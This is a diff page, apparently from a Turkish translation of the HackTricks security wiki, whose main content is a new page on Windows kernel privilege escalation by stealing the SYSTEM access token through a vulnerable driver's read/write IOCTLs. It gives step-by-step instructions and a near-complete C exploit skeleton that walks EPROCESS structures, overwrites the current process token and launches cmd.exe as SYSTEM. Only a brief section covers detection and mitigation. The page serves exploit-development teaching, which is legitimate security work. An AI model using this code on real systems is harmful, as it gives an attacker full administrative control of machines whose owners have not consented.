- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
||||
- 32 bit, stack leak ile ASLR, shellcode yaz ve ona atla
|
||||
- 32 bit, ASLR ile stack leak, shellcode yazıp ona atla
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
||||
- 32 bit, stack leak ile ASLR, exit() çağrısını önlemek için karşılaştırma, bir değişkeni bir değerle yaz ve shellcode yaz ve ona atla
|
||||
- 32 bit, ASLR ile stack leak, exit() çağrısını engellemek için karşılaştırma, bir değişkeni bir değerle overwrite etme, shellcode yazıp ona atla
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64, ASLR yok, stack'i çalıştırılabilir hale getirmek için ROP gadget ve stack'teki shellcode'a atla
|
||||
- arm64, ASLR yok, stack'i çalıştırılabilir yapmak için ROP gadget ve stack'teki shellcode'a atlama
|
||||
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,122 @@
|
||||
# Windows kernel EoP: Token stealing with arbitrary kernel R/W
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Genel Bakış
|
||||
|
||||
Eğer bir vulnerable driver bir saldırganın arbitrary kernel read ve/veya write primitiflerine erişim sağlayan bir IOCTL sunuyorsa, NT AUTHORITY\SYSTEM yükseltmesi sıklıkla bir SYSTEM erişim token’ı çalınarak gerçekleştirilebilir. Teknik, bir SYSTEM process’in EPROCESS içindeki Token pointer’ını mevcut process’in EPROCESS’ine kopyalar.
|
||||
|
||||
Neden işe yarıyor:
|
||||
- Her process’in, (diğer alanlar arasında) bir Token (aslında token objesine işaret eden bir EX_FAST_REF) içeren bir EPROCESS yapısı vardır.
|
||||
- SYSTEM process (PID 4) tüm ayrıcalıkları etkin olan bir token’a sahiptir.
|
||||
- Mevcut process’in EPROCESS.Token’ını SYSTEM token pointer’ı ile değiştirmek, mevcut process’in hemen SYSTEM olarak çalışmasını sağlar.
|
||||
|
||||
> EPROCESS içindeki offset’ler Windows sürümleri arasında değişir. Bunları dinamik olarak (symbols) belirleyin veya sürüme özel sabitler kullanın. Ayrıca EPROCESS.Token’ın bir EX_FAST_REF olduğunu unutmayın (alt 3 bit referans sayacı bayraklarıdır).
|
||||
|
||||
## Yüksek seviye adımlar
|
||||
|
||||
1) ntoskrnl.exe base’ini bulun ve PsInitialSystemProcess adresini çözün.
|
||||
- User mode’dan, yüklü driver base’lerini almak için NtQuerySystemInformation(SystemModuleInformation) veya EnumDeviceDrivers kullanın.
|
||||
- Kernel base’e PsInitialSystemProcess offset’ini (symbols/reversing’den) ekleyerek adresini elde edin.
|
||||
2) PsInitialSystemProcess’teki pointer’ı okuyun → bu, SYSTEM’in EPROCESS’ine işaret eden bir kernel pointer’ıdır.
|
||||
3) SYSTEM EPROCESS’inden UniqueProcessId ve ActiveProcessLinks offset’lerini okuyarak EPROCESS yapılarının çift bağlı listesini (ActiveProcessLinks.Flink/Blink) gezin; UniqueProcessId’si GetCurrentProcessId() ile eşit olan EPROCESS’i bulana kadar devam edin. İkisini saklayın:
|
||||
- EPROCESS_SYSTEM (SYSTEM için)
|
||||
- EPROCESS_SELF (mevcut process için)
|
||||
4) SYSTEM token değerini okuyun: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
|
||||
- Alt 3 biti maskeleyin: Token_SYS_masked = Token_SYS & ~0xF (genelde ~0xF veya build’e bağlı olarak ~0x7; x64 üzerinde alt 3 bit kullanılır — 0xFFFFFFFFFFFFFFF8 maskesi).
|
||||
5) Seçenek A (yaygın): Gömülü ref count’ın tutarlı kalması için mevcut token’ınızdaki alt 3 biti koruyup SYSTEM pointer’ına ekleyin.
|
||||
- Token_ME = *(EPROCESS_SELF + TokenOffset)
|
||||
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
|
||||
6) Kernel write primitive’inizi kullanarak Token_NEW’i (EPROCESS_SELF + TokenOffset) adresine yazın.
|
||||
7) Mevcut process’iniz artık SYSTEM. Doğrulamak için isteğe bağlı olarak yeni bir cmd.exe veya powershell.exe spawn edin.
|
||||
|
||||
## Pseudocode
|
||||
|
||||
Aşağıda sadece bir vulnerable driver’dan iki IOCTL kullanan bir iskelet var: biri 8-byte kernel read, diğeri 8-byte kernel write için. Kendi driver arayüzünüzle değiştirin.
|
||||
```c
|
||||
#include <Windows.h>
|
||||
#include <Psapi.h>
|
||||
#include <stdint.h>
|
||||
|
||||
// Device + IOCTLs are driver-specific
|
||||
#define DEV_PATH "\\\\.\\VulnDrv"
|
||||
#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
|
||||
// Version-specific (examples only – resolve per build!)
|
||||
static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
|
||||
static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
|
||||
static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
|
||||
|
||||
BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
|
||||
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
|
||||
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
|
||||
}
|
||||
BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
|
||||
struct { uint64_t addr, val; } in; DWORD ret;
|
||||
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
|
||||
}
|
||||
|
||||
// Get ntoskrnl base (one option)
|
||||
uint64_t get_nt_base(void) {
|
||||
LPVOID drivers[1024]; DWORD cbNeeded;
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
|
||||
return (uint64_t)drivers[0]; // first is typically ntoskrnl
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (h == INVALID_HANDLE_VALUE) return 1;
|
||||
|
||||
// 1) Resolve PsInitialSystemProcess
|
||||
uint64_t nt = get_nt_base();
|
||||
uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
|
||||
|
||||
// 2) Read SYSTEM EPROCESS
|
||||
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
|
||||
|
||||
// 3) Walk ActiveProcessLinks to find current EPROCESS
|
||||
DWORD myPid = GetCurrentProcessId();
|
||||
uint64_t cur = EPROC_SYS; // list is circular
|
||||
uint64_t EPROC_ME = 0;
|
||||
do {
|
||||
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
|
||||
if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
|
||||
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
|
||||
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
|
||||
} while (cur != EPROC_SYS);
|
||||
|
||||
// 4) Read tokens
|
||||
uint64_t tok_sys, tok_me;
|
||||
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
|
||||
kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
|
||||
|
||||
// 5) Mask EX_FAST_REF low bits and splice refcount bits
|
||||
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
|
||||
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
|
||||
|
||||
// 6) Write back
|
||||
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
|
||||
|
||||
// 7) We are SYSTEM now
|
||||
system("cmd.exe");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Notlar:
|
||||
- Ofsetler: Doğru offsetleri elde etmek için hedefin PDBs'iyle veya bir çalışma zamanı sembol yükleyicisi ile WinDbg’in `dt nt!_EPROCESS` komutunu kullanın. Offs etleri körü körüne sabit değer olarak kullanmayın.
|
||||
- Maske: x64'te token bir EX_FAST_REF'tir; en düşük 3 bit referans sayacı bitleridir. Tokeninizin orijinal düşük bitlerini korumak, anında referans sayacı tutarsızlıklarını önler.
|
||||
- Kararlılık: Mevcut işlemi yükseltmeyi tercih edin; kısa ömürlü bir yardımcıyı yükseltirseniz, o sonlandığında SYSTEM yetkisini kaybedebilirsiniz.
|
||||
|
||||
## Tespit ve hafifletme
|
||||
- Güçlü IOCTL'ler açığa çıkaran imzasız veya güvenilmez üçüncü taraf sürücülerin yüklenmesi temel nedendir.
|
||||
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard ve Attack Surface Reduction kuralları savunmasız sürücülerin yüklenmesini engelleyebilir.
|
||||
- EDR, arbitrary read/write uygulayan şüpheli IOCTL dizilerini ve token swaps için izleme yapabilir.
|
||||
|
||||
## Referanslar
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
Loading…
x
Reference in New Issue
Block a user